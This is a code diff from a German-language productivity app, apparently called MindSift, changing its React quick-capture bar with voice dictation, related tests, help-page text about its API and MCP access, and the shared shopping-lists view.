for (let i = 0; i < event.results.length; i++) {
transcript += event.results[i][0].transcript;
}
const base = baseVoiceTextRef.current;
setContent(base ? `${base} ${transcript}` : transcript);
};
recognition.onerror = () => {
setIsListening(false);
};
recognition.onend = () => {
setIsListening(false);
inputRef.current?.focus();
};
recognitionRef.current = recognition;
recognition.start();
} catch {
setIsListening(false);
}
voice.toggle();
};
const executeCapture = async (
overrideTarget?: CaptureTarget,
overrideListId?: string,
overrideTaskListId?: string
overrideListId?: string
) => {
const trimmed = content.trim();
if (!trimmed || isSubmitting) return;
const effectiveTarget = fixedTarget || overrideTarget || target;
const effectiveListId =
overrideListId || targetListId || (writableLists.length > 0 ? writableLists[0].id : '');
overrideListId || targetListId || (lists.length > 0 ? lists[0].id : '');
const capturedPriority = priority;
const capturedDueDate = dueDate;
const capturedSource = hasVoiceInputRef.current || isListening ? 'voice' : 'manual';
hasVoiceInputRef.current = false;
// A recognition still running would refill the field after it was saved
if (voice.state !== 'idle') voice.cancel();
// Optimistically clear input immediately so the UI feels instant (<10ms) in all browsers
setContent('');
setIsMultiline(false);
setPriority('normal');
setDueDate('');
// Target and list stay for the next dump; only priority and due date belong to one entry
setTarget(fixedTarget || 'inbox');
setShowOptions(defaultShowOptions || hideTargetPicker);
setIsSubmitting(true);
triggerHaptic(15);
@@ -236,8 +220,6 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
{
target: effectiveTarget,
targetListId: effectiveTarget === 'list_item' ? effectiveListId : '',
taskListId:
effectiveTarget === 'task' ? (overrideTaskListId ?? (selectedTaskList ? selectedTaskList.id : '')) : '',
}
);
onCaptured(created, effectiveTarget);
@@ -254,11 +236,11 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
await executeCapture();
};
const selectedList = writableLists.find((l) => l.id === targetListId) || writableLists[0];
const selectedList = lists.find((l) => l.id === targetListId) || lists[0];
const getTargetLabel = () => {
if (target === 'task') return selectedTaskList ? (selectedTaskList.icon ? `${selectedTaskList.icon} ${selectedTaskList.title}` : selectedTaskList.title) : 'Direkt-Aufgabe';
if (target === 'list_item') return selectedList ? [selectedList.icon, selectedList.title].filter(Boolean).join(' ') : 'Auf Liste';
if (target === 'task') return 'Direkt-Aufgabe';
if (target === 'list_item') return selectedList ? `${selectedList.icon} ${selectedList.title}` : 'Auf Liste';
if (target === 'document') return 'Direkt-Notiz';
return 'Quick Dump';
};
@@ -269,7 +251,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
{/* Quick-Capture Input Bar (Radius controlled by --radius-pill / multiline) */}
<div
className={`flex ${
isMultiline ? 'flex-wrap items-start py-1.5 min-h-[36px]' : 'items-center h-9'
isMultiline ? 'items-end py-1.5 min-h-[36px]' : 'items-center h-9'
} pl-1.5 pr-1.5 bg-panel border capture-pill ${
isMultiline ? 'capture-bar-multiline' : 'rounded-full'
} transition-all duration-150 ${
@@ -301,33 +283,26 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
}
}}
placeholder={
voiceError
? voiceError
: isListening
isListening
? 'Ich höre zu…'
: isTranscribing
? 'Wird erkannt…'
: hideTargetPicker || fixedTarget === 'inbox'
? 'Quick Dump erfassen…'
? 'Quick Dump erfassen… (Enter zum Speichern)'
: target === 'task'
? 'Aufgabe erfassen…'
? 'Neue Aufgabe direkt anlegen… (Enter / Shift+Enter für Mehrzeiler)'
: target === 'list_item'
? `Zu „${selectedList?.title || 'Liste'}“ hinzufügen…`
? `Eintrag direkt zu "${selectedList?.title || 'Liste'}" hinzufügen…`
: target === 'document'
? 'Notiz erfassen…'
: 'Quick Dump…'
? 'Neue Workspace-Notiz direkt anlegen… (Enter / Shift+Enter für Mehrzeiler)'
: 'Quick Dump: Gedanke reinrotzen… (C / Enter, Shift+Enter für Mehrzeiler)'
}
className={`flex-1 min-w-0 w-full bg-transparent text-main placeholder-faint text-xs sm:text-sm focus:outline-none resize-none leading-5 py-0.5 ${
isOverMaxHeight ? 'overflow-y-auto' : 'overflow-hidden'
}`}
className="w-full bg-transparent text-main placeholder-faint text-xs sm:text-sm focus:outline-none resize-none leading-5 py-0.5 overflow-y-auto"
style={{ minHeight: '22px', maxHeight: '140px' }}
autoComplete="off"
/>
<div
className={`flex items-center gap-1 flex-shrink-0 ${
// Multiline: the buttons get their own row under the text, so the text keeps the full width
isMultiline ? 'basis-full justify-end mt-1 animate-in fade-in slide-in-from-top-1 duration-150' : 'ml-2'
className={`flex items-center gap-1 ml-2 flex-shrink-0 ${
isMultiline ? 'self-end mb-0.5' : ''
}`}
>
{/* Target & Options Toggle Pill (Hidden when target picker is disabled) */}
@@ -359,33 +334,19 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
</button>
)}
{/* Voice Dictation Button (hidden when voice input is off or not supported) */}
{voice.available && (
<>
{isListening && voice.mode === 'server' && (
<VoiceWave getLevel={voice.level} className="h-3.5 text-accent" />
)}
{/* Voice Dictation Button */}
<button
type="button"
onClick={toggleVoiceDictation}
disabled={isTranscribing}
title={isListening ? 'Aufnahme beenden' : isTranscribing ? 'Wird erkannt…' : 'Spracheingabe'}
title="Spracheingabe"
className={`w-6 h-6 capture-pill rounded-full flex items-center justify-center transition-colors ${
isListening || isTranscribing
isListening
? 'bg-accent-dim text-accent'
: 'text-muted hover:text-main hover:bg-panel-elevated'
}`}
>
{isTranscribing ? (
<Loader2 className="w-3 h-3 animate-spin" />
) : isListening ? (
<MicOff className="w-3 h-3" />
) : (
<Mic className="w-3 h-3" />
)}
{isListening ? <MicOff className="w-3 h-3" /> : <Mic className="w-3 h-3" />}
</button>
</>
)}
{/* Instant Send Button */}
<button
@@ -404,7 +365,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
</>
) : (
<>
<ArrowDown className="w-3 h-3" />
<ArrowUp className="w-3 h-3" />
<span className="inline">
{hideTargetPicker || (fixedTarget || target) === 'inbox'
? 'Quick Dump'
@@ -437,7 +398,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
<div>
<div className="flex items-center justify-between mb-1.5">
<span className="text-[11px] font-semibold uppercase tracking-wider text-muted">
Wohin damit?
Wohin damit? {content.trim() ? '(Klick speichert sofort oder wählt Ziel)' : '(Ziel für Eingabe wählen)'}
</span>
<span className="text-[11px] text-faint">
Standard: Quick Dump für späteres Swipen
@@ -450,6 +411,9 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
type="button"
onClick={() => {
setTarget('inbox');
if (content.trim()) {
executeCapture('inbox');
}
}}
className={`min-h-[36px] px-2.5 border rounded-btn flex items-center gap-1.5 text-left transition-colors cursor-pointer ${
target === 'inbox'
@@ -466,6 +430,9 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
type="button"
onClick={() => {
setTarget('task');
if (content.trim()) {
executeCapture('task');
}
}}
className={`min-h-[36px] px-2.5 border rounded-btn flex items-center gap-1.5 text-left transition-colors cursor-pointer ${
target === 'task'
@@ -474,7 +441,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
}`}
>
<CheckSquare className="w-3.5 h-3.5 text-accent flex-shrink-0" />
<span className="truncate">Direkt als Aufgabe{writableTaskLists.length > 0 ? '…' : ''}</span>
<span className="truncate">Direkt als Aufgabe</span>
</button>
{/* Option 3: Direct List Item */}
@@ -482,8 +449,8 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
type="button"
onClick={() => {
setTarget('list_item');
if (!targetListId && writableLists.length > 0) {
setTargetListId(writableLists[0].id);
if (!targetListId && lists.length > 0) {
setTargetListId(lists[0].id);
}
}}
className={`min-h-[36px] px-2.5 border rounded-btn flex items-center gap-1.5 text-left transition-colors cursor-pointer ${
@@ -501,6 +468,9 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
type="button"
onClick={() => {
setTarget('document');
if (content.trim()) {
executeCapture('document');
}
}}
className={`min-h-[36px] px-2.5 border rounded-btn flex items-center gap-1.5 text-left transition-colors cursor-pointer ${
target === 'document'
@@ -514,45 +484,15 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
</div>
</div>
{/* Sub-row for a direct task: which task list */}
{target === 'task' && writableTaskLists.length > 0 && (
<div className="pt-2 border-t border-border flex flex-wrap items-center gap-1.5">
<span className="text-muted mr-1 flex items-center gap-1">
<CheckSquare className="w-3 h-3 text-accent" />
Aufgabenliste:
</span>
{[{ id: '', icon: '📥', title: 'Alle Aufgaben' }, ...writableTaskLists].map((tl) => {
const isSelected = (selectedTaskList?.id || '') === tl.id;
return (
<button
key={tl.id || 'all'}
type="button"
onClick={() => {
setTargetTaskListId(tl.id);
}}
className={`min-h-[30px] px-2.5 border rounded-btn text-xs flex items-center gap-1.5 transition-colors cursor-pointer ${
isSelected
? 'bg-accent/10 text-main border-accent font-medium'
: 'bg-canvas border-border text-muted hover:text-main hover:bg-panel-hover'
}`}
>
{tl.icon && <span>{tl.icon}</span>}
<span>{tl.title}</span>
</button>
);
})}
</div>
)}
{/* Sub-row for a list item: which list (shopping, checklist …) */}
{target === 'list_item' && writableLists.length > 0 && (
{/* Optional Sub-Row: Shared List Picker */}
{lists.length > 0 && (
<div className="pt-2 border-t border-border flex flex-wrap items-center gap-1.5">
<span className="text-muted mr-1 flex items-center gap-1">
<ShoppingCart className="w-3 h-3 text-accent" />
Liste:
</span>
{writableLists.map((lst) => {
const isSelected = targetListId === lst.id;
{lists.map((lst) => {
const isSelected = target === 'list_item' && targetListId === lst.id;
return (
<button
key={lst.id}
@@ -560,10 +500,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
onClick={() => {
setTarget('list_item');
setTargetListId(lst.id);
if (content.trim()) {
executeCapture('list_item', lst.id);
}
}}
className={`min-h-[30px] px-2.5 border rounded-btn text-xs flex items-center gap-1.5 transition-colors cursor-pointer ${
isSelected
? 'bg-accent/10 text-main border-accent font-medium'
? 'bg-accent text-on-accent border-accent font-medium'
: 'bg-canvas border-border text-muted hover:text-main hover:bg-panel-hover'
}`}
>
@@ -74,7 +74,6 @@ describe('HoldToRecordFab', () => {
vi.advanceTimersByTime(150);
});
fireEvent.pointerUp(btn, { clientY: 600 });
fireEvent.click(btn);
expect(onTap).toHaveBeenCalledTimes(1);
expect(onTranscript).not.toHaveBeenCalled();
@@ -110,7 +109,6 @@ describe('HoldToRecordFab', () => {
await act(async () => {
fireEvent.pointerUp(btn, { clientY: 600 });
fireEvent.click(btn);
});
expect(rec.stopped).toBe(true);
@@ -145,8 +143,6 @@ describe('HoldToRecordFab', () => {
fireEvent.pointerUp(btn, { clientY: 520 });
fireEvent.click(btn);
expect(rec.aborted).toBe(true);
expect(onTap).not.toHaveBeenCalled();
expect(onTranscript).not.toHaveBeenCalled();
@@ -181,7 +177,6 @@ describe('HoldToRecordFab', () => {
await act(async () => {
fireEvent.pointerUp(btn, { clientY: 580 });
fireEvent.click(btn);
});
expect(rec.aborted).toBe(false);
@@ -203,7 +198,6 @@ describe('HoldToRecordFab', () => {
});
await act(async () => {
fireEvent.pointerUp(btn, { clientY: 600 });
fireEvent.click(btn);
});
expect(onTap).not.toHaveBeenCalled();
@@ -230,7 +224,6 @@ describe('HoldToRecordFab', () => {
rec.emitError('not-allowed');
});
fireEvent.pointerUp(btn, { clientY: 600 });
fireEvent.click(btn);
expect(onTap).toHaveBeenCalledTimes(1);
expect(onTranscript).not.toHaveBeenCalled();
@@ -254,7 +247,6 @@ describe('HoldToRecordFab', () => {
vi.advanceTimersByTime(350);
});
fireEvent.pointerUp(btn, { clientY: 600 });
fireEvent.click(btn);
expect(onTap).toHaveBeenCalledTimes(1);
expect(onTranscript).not.toHaveBeenCalled();
@@ -264,19 +256,6 @@ describe('HoldToRecordFab', () => {
});
});
describe('HoldToRecordFab tap timing', () => {
it('opens only on the click after the release, so that click cannot close the new sheet', () => {
const onTap = vi.fn();
render(<HoldToRecordFab onTap={onTap} onTranscript={vi.fn()} />);
const btn = screen.getByRole('button');
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
fireEvent.pointerUp(btn, { clientY: 600 });
expect(onTap).not.toHaveBeenCalled();
fireEvent.click(btn);
expect(onTap).toHaveBeenCalledTimes(1);
});
});
describe('HoldToRecordFab keyboard access', () => {
it('opens the capture sheet when activated without a pointer (keyboard, screen reader)', () => {
const onTap = vi.fn();
@@ -1,63 +0,0 @@
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { render, screen, fireEvent, act } from '@testing-library/react';
const captureThought = vi.fn(async (content: string) => ({ id: 't1', content }));
vi.mock('../../../lib/api', () => ({
api: {
getTaskLists: vi.fn(async () => [
{ id: 'tkl_1', title: 'Homelab', icon: '🖥️', permission: 'owner' },
{ id: 'tkl_2', title: 'Fremd', icon: '🔒', permission: 'viewer' },
]),
captureThought: (...args: unknown[]) => captureThought(...(args as [string])),
getAuthStatus: vi.fn(async () => ({ voice: { mode: 'off' } })),
},
triggerHaptic: vi.fn(),
}));
import { InstantCaptureBar } from '../InstantCaptureBar';
const lists = [{ id: 'lst_1', title: 'Wocheneinkauf', icon: '🛒', isOwner: true, listType: 'shopping', items: [] }] as any;
describe('InstantCaptureBar', () => {
beforeEach(() => {
captureThought.mockClear();
sessionStorage.clear();
});
it('shows the list row that fits the target and saves into the chosen task list on send', async () => {
await act(async () => {
render(<InstantCaptureBar onCaptured={() => {}} lists={lists} defaultShowOptions />);
});
// Quick Dump: no list row
expect(screen.queryByText('Wocheneinkauf')).toBeNull();
expect(screen.queryByText('Homelab')).toBeNull();
fireEvent.change(screen.getByRole('textbox'), { target: { value: 'Backup prüfen' } });
fireEvent.click(screen.getByRole('button', { name: /Direkt als Aufgabe/ }));
// With task lists, choosing the target does not save yet; read-only lists are not offered
expect(captureThought).not.toHaveBeenCalled();
expect(screen.queryByText('Wocheneinkauf')).toBeNull();
expect(screen.queryByText('Fremd')).toBeNull();
// Picking the list only selects it as well; saving takes the send button (or Enter)
fireEvent.click(screen.getByRole('button', { name: /Homelab/ }));
expect(captureThought).not.toHaveBeenCalled();
await act(async () => {
fireEvent.submit(screen.getByRole('textbox').closest('form')!);
});
expect(captureThought).toHaveBeenCalledWith('Backup prüfen', 'normal', 'manual', '', {
target: 'task',
targetListId: '',
taskListId: 'tkl_1',
});
});
it('offers the shopping lists for a list item', async () => {
await act(async () => {
render(<InstantCaptureBar onCaptured={() => {}} lists={lists} defaultShowOptions />);
});
fireEvent.click(screen.getByRole('button', { name: /Direkt auf Liste/ }));
// The list chip (the target pill shows the chosen list as well)
expect(screen.getAllByRole('button', { name: /Wocheneinkauf/ }).length).toBe(2);
expect(screen.queryByText('Homelab')).toBeNull();
});
});
+7 -46
View File
@@ -159,15 +159,6 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
'code',
'callout',
'divider',
'bild',
'extract',
'auslagern',
'zusammenführen',
'audio',
'sprachnotiz',
'diktat',
'image',
'foto',
'auto-formatting',
],
content: (
@@ -201,22 +192,6 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
<span className="text-accent font-bold">—</span>
<span>/divider (Trennlinie)</span>
</div>
<div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
<span className="text-accent font-bold">🖼️</span>
<span>/image oder /bild (Bild hochladen, fotografieren, einfügen oder per Link; nur im leeren Punkt)</span>
</div>
<div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
<span className="text-accent font-bold">📤</span>
<span>/extract oder /notiz (Punkt mit allen Unterpunkten in eine eigene Notiz auslagern, an seiner Stelle bleibt ein [[Link]]; der Knopf „Notiz zurückholen“ am Link macht das wieder rückgängig)</span>
</div>
<div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
<span className="text-accent font-bold">🎙️</span>
<span>/audio (Sprachnotiz aufnehmen: grüner Knopf startet, roter speichert; oder Audiodatei hochladen)</span>
</div>
<div className="p-1.5 bg-panel rounded border border-border flex items-center gap-1.5 text-main col-span-2">
<span className="text-accent font-bold">🗣️</span>
<span>/diktat (sprechen statt tippen: startet sofort, Tipp auf „Stopp“ setzt den Text in den Punkt)</span>
</div>
</div>
</div>
<div className="pt-2 border-t border-border">
@@ -264,7 +239,7 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
<strong className="text-main">Rückverweise:</strong> Am Ende jeder Notiz siehst du unter „Verlinkt auf diese Notiz“, welche anderen Notizen sie mit <code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">[[Titel]]</code> verlinken. Ein Klick auf die Fundstelle springt direkt dorthin.
</li>
<li>
<strong className="text-main">Papierkorb:</strong> Gelöschte Notizen (auch aus gelöschten Ordnern) landen im „Papierkorb“ unten in der Ordnerleiste bzw. im mobilen Menü. Dort kannst du sie schreibgeschützt ansehen, wiederherstellen oder endgültig löschen. Solange eine Notiz im Papierkorb liegt, sehen sie auch die Personen nicht, mit denen sie geteilt war. Nach der Frist aus Kontoeinstellungen → Aufbewahrung (Standard 30 Tage) wird sie endgültig gelöscht. Gelöschte Aufgaben liegen im Reiter „Papierkorb“ der Aufgaben, verworfene Gedanken im Papierkorb der Triage.
<strong className="text-main">Papierkorb:</strong> Gelöschte Notizen (auch aus gelöschten Ordnern) landen im „Papierkorb“ unten in der Ordnerleiste bzw. im mobilen Menü. Dort kannst du sie schreibgeschützt ansehen, wiederherstellen oder endgültig löschen. Solange eine Notiz im Papierkorb liegt, sehen sie auch die Personen nicht, mit denen sie geteilt war.
</li>
</ul>
</div>
@@ -492,8 +467,8 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
{
id: 'triage-webhooks',
category: 'triage',
title: 'API: curl, Smart Home & KI-Agenten (MCP)',
subtitle: 'Aufgaben und Listen per curl oder Home Assistant lesen und ändern, Gedanken einliefern, KI-Agenten wie Claude Code anbinden.',
title: 'Externe Erfassung per Webhooks & API',
subtitle: 'Gedanken von Siri, Home Assistant, n8n oder curl einspeisen',
icon: Bell,
keywords: [
'webhooks',
@@ -504,28 +479,17 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
'shortcuts',
'automation',
'curl',
'mcp',
'ki',
'agent',
'claude',
'codex',
],
content: (
<div className="space-y-2 text-muted leading-relaxed">
<p>
MindSift hat eine API. Unter <em className="text-main">Kontoeinstellungen → API</em> erzeugst du persönliche Schlüssel und legst mit Schaltern fest, was jeder darf: Aufgaben lesen, anlegen oder ändern, Listen lesen, ergänzen oder ändern und Gedanken in die Inbox liefern. Diese Rechte gelten für beide Zugänge gleich. Notizen und Einstellungen erreicht ein Schlüssel nie.
Unter <em className="text-main">Kontoeinstellungen → Private Webhooks &amp; Export</em> kannst du persönliche API-Schlüssel erzeugen. Pro Schlüssel legst du fest, was er einliefern darf: Gedanken in die Inbox, Aufgaben direkt oder Einträge in Listen. Lesen kann ein Schlüssel nie.
</p>
<p>
<strong className="text-main">curl und Smart Home:</strong> Mit Leserecht liefert z. B. <code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">GET /api/v1/tasks?due=today&amp;status=open</code> alles, was heute ansteht, etwa für einen Home-Assistant-Sensor. Weitere Filter: <code className="font-mono">due=overdue</code>, ein Datum, <code className="font-mono">taskListId</code>. Listen kommen über <code className="font-mono">GET /api/v1/lists</code>. Mit Änderungsrecht hakst du per <code className="font-mono">PATCH /api/v1/thoughts/ID</code> ab. Die Einstellungen zeigen fertige Beispiele.
Mit dem Feld <code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">"target"</code> wählst du das Ziel: <code className="font-mono">triage</code> (Standard), <code className="font-mono">task</code> (optional mit <code className="font-mono">taskListId</code>) oder <code className="font-mono">list_item</code> (mit <code className="font-mono">listId</code>). Der Simulator in den Einstellungen zeigt passende Beispiele.
</p>
<p>
<strong className="text-main">Einliefern:</strong> <code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">POST /api/v1/webhooks/ingest</code> nimmt Gedanken aus iOS-Kurzbefehlen, Home Assistant oder n8n an. Mit dem Feld <code className="font-mono">"target"</code> wählst du das Ziel: <code className="font-mono">triage</code> (Standard), <code className="font-mono">task</code> (optional mit <code className="font-mono">taskListId</code>) oder <code className="font-mono">list_item</code> (mit <code className="font-mono">listId</code>).
</p>
<p>
<strong className="text-main">KI-Agenten:</strong> Über MCP (<code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">POST /api/v1/mcp</code>) lesen, anlegen, ändern, abhaken und löschen Claude Code, OpenAI Codex, Claude Desktop, Cursor und eigene Agenten deine Aufgaben und Listen. Die Einstellungen zeigen den fertigen Befehl für jeden Agenten; ein Agent sieht nur die Werkzeuge, die der Schlüssel erlaubt.
</p>
<p>
<strong className="text-main">Herkunft:</strong> Was ein Schlüssel anlegt oder ändert, trägt dauerhaft eine Badge mit seinem Namen, vorne ein Webhook-Symbol (API) oder ein Roboter (MCP). Fährst du darüber oder tippst darauf, siehst du, wer wann angelegt und zuletzt geändert hat.
Über den Endpunkt <code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">POST /api/v1/webhooks/ingest</code> kannst du Gedanken aus iOS-Kurzbefehlen, Smart-Home-Systemen oder Drittanwendungen einspeisen. Sie werden automatisch mit dem Tag <code className="text-accent font-mono">#webhook</code> markiert.
</p>
</div>
),
@@ -667,7 +631,7 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
<strong className="text-main">Eigenes Theme:</strong> Vorlage herunterladen oder einfügen, Farben und Rundungen anpassen, als <code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">.css</code>-Datei hochladen oder einfügen und „Speichern &amp; aktivieren“. Das Theme greift sofort und steht dir auf allen Geräten zur Verfügung.
</li>
<li>
<strong className="text-main">Server-Backups:</strong> Hat die Administration automatische Backups eingeschaltet, findest du unter <em>Kontoeinstellungen → Export &amp; Import</em> die täglichen Sicherungen deiner Daten. Du kannst sie herunterladen oder wieder einspielen, auch nur für einzelne Bereiche wie Listen oder Aufgaben.
<strong className="text-main">Server-Backups:</strong> Hat die Administration automatische Backups eingeschaltet, findest du unter <em>Kontoeinstellungen → Private Webhooks &amp; Export</em> die täglichen Sicherungen deiner Daten. Du kannst sie herunterladen oder wieder einspielen, auch nur für einzelne Bereiche wie Listen oder Aufgaben.
</li>
<li>
<strong className="text-main">Ohne Internet:</strong> Als App installiert (oder im Browser) startet MindSift auch offline mit dem zuletzt geladenen Stand. Gedanken erfassen sowie Aufgaben und Listeneinträge abhaken geht weiter; ein Hinweis unten zeigt, wie viele Änderungen warten, und sie werden automatisch übertragen, sobald die Verbindung zurück ist.
@@ -761,9 +725,6 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
{ key: '↑ / ↓', scope: 'Workspace Outliner', desc: 'Zum vorherigen / nächsten Block navigieren' },
{ key: 'Strg + Z / Cmd + Z', scope: 'Workspace Outliner', desc: 'Letzte Notiz-Aktion rückgängig machen' },
{ key: 'Strg + Y / Strg + Shift + Z', scope: 'Workspace Outliner', desc: 'Rückgängig gemachte Aktion wiederholen' },
{ key: 'Maus über mehrere Punkte ziehen', scope: 'Workspace Outliner', desc: 'Text über mehrere Punkte markieren; Entf/Backspace löscht ihn, Tippen ersetzt ihn, Strg + C kopiert ihn als Markdown (Einrückung, To-dos, Überschriften)' },
{ key: 'Strg + A zweimal', scope: 'Workspace Outliner', desc: 'Erst den Punkt, beim zweiten Mal die ganze Notiz markieren; Strg + C kopiert sie als Markdown, eingefügt entstehen wieder dieselben Punkte' },
{ key: 'Strg + Z / Cmd + Z', scope: 'Aufgaben', desc: 'Löschen, Verschieben oder Abhaken rückgängig machen' },
{ key: '/', scope: 'Workspace Outliner', desc: 'Slash-Menü öffnen (/todo, /link, /h1, /code, ...)' },
{ key: '[] oder [ ] am Anfang', scope: 'Workspace Outliner', desc: 'Sofort in Todo-Checkbox umwandeln' },
{ key: '[x] am Anfang', scope: 'Workspace Outliner', desc: 'Sofort in erledigte Todo-Checkbox umwandeln' },
+237 -368
View File
@@ -4,26 +4,17 @@ import {
Trash2,
Users,
Check,
Radio,
Sparkles,
X,
ShoppingCart,
CloudOff,
} from 'lucide-react';
import { ListItem, SharedList, Team, User, WSMessage } from '../../lib/types';
import { api, triggerHaptic, createRealtimeConnection } from '../../lib/api';
import { readViewMemory, writeViewMemory } from '../../lib/viewSession';
import { OFFLINE_ITEM_PREFIX, pendingListItems } from '../../lib/offline';
import { api, triggerHaptic, createRealtimeConnection, RealtimeTransport } from '../../lib/api';
import { UnifiedShareModal } from '../../components/UnifiedShareModal';
import { AvatarStack, AvatarPerson } from '../../components/AvatarStack';
import { CountBadge } from '../../components/CountBadge';
import { ListSwitcher } from '../../components/ListSwitcher';
import { LivePill } from '../../components/LivePill';
import { isPhoneWidth } from '../../lib/breakpoints';
import { reportNav, onNavStep, restoringNavPlace } from '../../lib/navHistory';
import { OriginBadge } from '../../components/OriginBadge';
import { VoiceInputButton } from '../../components/VoiceInputButton';
import { FormSheet } from '../../components/FormSheet';
import { EmojiIconButton } from '../../components/EmojiIconButton';
import { useMobileActions } from '../../context/MobileActionContext';
interface SharedListsViewProps {
@@ -92,29 +83,7 @@ export function deduplicateItems(items: ListItem[]): ListItem[] {
export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGlobal, currentUser, initialListId }) => {
const { setGroups, setPrimaryAction } = useMobileActions();
const [lists, setLists] = useState<SharedList[]>([]);
// The open list is remembered on this device (other tabs of the app, new tab, restart)
const [activeListId, setActiveListId] = useState<string>(() => {
// Coming back here by the browser's back/forward: the list of that step
const step = restoringNavPlace();
return (step?.tab === 'lists' && step.shopList) || initialListId || readViewMemory<{ listId: string }>('lists').listId || '';
});
// Switching lists is a step of the browser history (lib/navHistory.ts)
const autoSelectedListRef = useRef(false);
useEffect(() => {
const replace = autoSelectedListRef.current;
autoSelectedListRef.current = false;
if (activeListId) reportNav({ shopList: activeListId }, { replace });
}, [activeListId]);
useEffect(
() =>
onNavStep((place) => {
if (place.tab === 'lists' && place.shopList) setActiveListId(place.shopList);
}),
[]
);
useEffect(() => {
if (activeListId) writeViewMemory('lists', { listId: activeListId });
}, [activeListId]);
const [activeListId, setActiveListId] = useState<string>(initialListId || '');
useEffect(() => {
if (initialListId) {
@@ -124,11 +93,12 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
const [newItemText, setNewItemText] = useState('');
const [newItemQty, setNewItemQty] = useState('');
const [itemVoiceError, setItemVoiceError] = useState<string | null>(null);
const [isSubmittingItem, setIsSubmittingItem] = useState(false);
const [editingQtyItemId, setEditingQtyItemId] = useState<string | null>(null);
const [editingQtyValue, setEditingQtyValue] = useState('');
const [wsConnected, setWsConnected] = useState(false);
const [realtimeTransport, setRealtimeTransport] = useState<RealtimeTransport>('none');
const [showNewListModal, setShowNewListModal] = useState(false);
const [newListTitle, setNewListTitle] = useState('');
const [newListIcon, setNewListIcon] = useState('🛒');
@@ -143,20 +113,9 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
const [workspaceTags, setWorkspaceTags] = useState<string[]>([]);
const inputRef = useRef<HTMLInputElement | null>(null);
// Phones: the add form lives in a sheet opened by "+" instead of taking room above the list
const [isPhone, setIsPhone] = useState(isPhoneWidth);
const [showAddSheet, setShowAddSheet] = useState(false);
useEffect(() => {
const onResize = () => setIsPhone(isPhoneWidth());
window.addEventListener('resize', onResize);
return () => window.removeEventListener('resize', onResize);
}, []);
const [draggingItemId, setDraggingItemId] = useState<string | null>(null);
const [dragOverItemTarget, setDragOverItemTarget] = useState<{ itemId: string; position: 'before' | 'after' } | null>(null);
const [dragOverCategoryTarget, setDragOverCategoryTarget] = useState<string | null>(null);
// List tab a dragged entry hovers over (dropping moves it into that list)
const [dragOverListTab, setDragOverListTab] = useState<string | null>(null);
const realtimeConnRef = useRef<any>(null);
@@ -171,20 +130,14 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
// fallback
}
}
// Entries added offline and not sent yet stay visible (also after a reload without connection)
const pending = pendingListItems();
const deduplicated = all.map((l) => ({
...l,
items: deduplicateItems([
...pending.filter((p) => p.listId === l.id).map((p) => ({ ...p, isCompleted: false, sortOrder: 0 }) as ListItem),
...(l.items || []),
]),
items: deduplicateItems(l.items || []),
}));
setLists(deduplicated);
if (initialListId && deduplicated.some((l) => l.id === initialListId)) {
setActiveListId(initialListId);
} else if (deduplicated.length > 0 && (!activeListId || !deduplicated.some((l) => l.id === activeListId))) {
autoSelectedListRef.current = true; // chosen by the app, not a step of its own in the history
setActiveListId(deduplicated[0].id);
}
} catch {
@@ -240,6 +193,10 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
const conn = createRealtimeConnection({
listId: activeList.id,
onStatusChange: (status) => {
setWsConnected(status.connected);
setRealtimeTransport(status.transport);
},
onMessage: (msg: WSMessage) => {
const msgListId = msg.listId || (msg as any).list_id;
if (msg.event === 'ITEM_CREATED' && msgListId) {
@@ -303,22 +260,6 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
};
}, [activeList?.id]);
// Back online: once the outbox has sent the entries added offline, show the server's version
const listsRef = useRef(lists);
listsRef.current = lists;
const loadListsRef = useRef(loadLists);
loadListsRef.current = loadLists;
useEffect(() => {
const onOutbox = () => {
const shown = listsRef.current.some((l) => l.items.some((i) => i.id.startsWith(OFFLINE_ITEM_PREFIX)));
const queued = new Set(pendingListItems().map((p) => p.id));
const sent = listsRef.current.some((l) => l.items.some((i) => i.id.startsWith(OFFLINE_ITEM_PREFIX) && !queued.has(i.id)));
if (shown && sent) void loadListsRef.current();
};
